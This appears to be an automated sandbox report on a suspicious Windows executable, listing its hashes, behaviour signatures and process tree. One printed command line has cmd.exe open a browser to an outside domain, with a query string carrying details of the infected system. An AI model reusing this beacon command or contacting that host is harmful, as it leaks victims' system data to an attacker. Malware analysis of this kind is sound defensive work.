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Analysis

  • max time kernel
    187s
  • max time network
    228s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    27/11/2022, 13:09

General

  • Target

    a761b87038d22be2e205e544383fd7ce33c42c4cbe609664e091e96c2b900688.exe

  • Size

    143KB

  • MD5

    eb970c958493510a89eabdc999d96cdb

  • SHA1

    e1550adf5659fb83d028bc24e3a5451ef8afd784

  • SHA256

    a761b87038d22be2e205e544383fd7ce33c42c4cbe609664e091e96c2b900688

  • SHA512

    fefb045dcd00727762d7589290b359cbf23c05ca2127fe32e345575d49305c9a901da6ab8e17237a7a6ff03d647c55b9fcffb1abcf08e2815c46ee96bfa579b1

  • SSDEEP

    3072:iN6ZekwVJIlgps5q9Eb648qwlS/+TfQO45Dj:pe9IB83ID5X

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SendNotifyMessage 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\a761b87038d22be2e205e544383fd7ce33c42c4cbe609664e091e96c2b900688.exe
    "C:\Users\Admin\AppData\Local\Temp\a761b87038d22be2e205e544383fd7ce33c42c4cbe609664e091e96c2b900688.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:1704
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c "start http://securedfileinfo.com/404.jsp?chid=4300109^&rsn=plde^&details=^|v6.2.9200x64sp0.0ws^|tt32^|dt0^|dc100^|fs-2^|dh0^|ec13^|se12007^|dr4^|ds0^|rs0^|p1"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1716
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://securedfileinfo.com/404.jsp?chid=4300109&rsn=plde&details=|v6.2.9200x64sp0.0ws|tt32|dt0|dc100|fs-2|dh0|ec13|se12007|dr4|ds0|rs0|p1
        3⤵
        • Enumerates system info in registry
        • Suspicious use of WriteProcessMemory
        PID:4720
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x118,0x11c,0x120,0xf4,0x124,0x7ffca9d746f8,0x7ffca9d74708,0x7ffca9d74718
          4⤵
            PID:4804
          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2684,18265189556530926375,5353366954510237837,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2700 /prefetch:2
            4⤵
              PID:2128
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2684,18265189556530926375,5353366954510237837,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2908 /prefetch:3
              4⤵
              • Suspicious behavior: EnumeratesProcesses
              PID:4612
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2684,18265189556530926375,5353366954510237837,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3056 /prefetch:8
              4⤵
                PID:4148
        • C:\Windows\System32\CompPkgSrv.exe
          C:\Windows\System32\CompPkgSrv.exe -Embedding
          1⤵
            PID:3924

          Network

          MITRE ATT&CK Enterprise v6

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          Downloads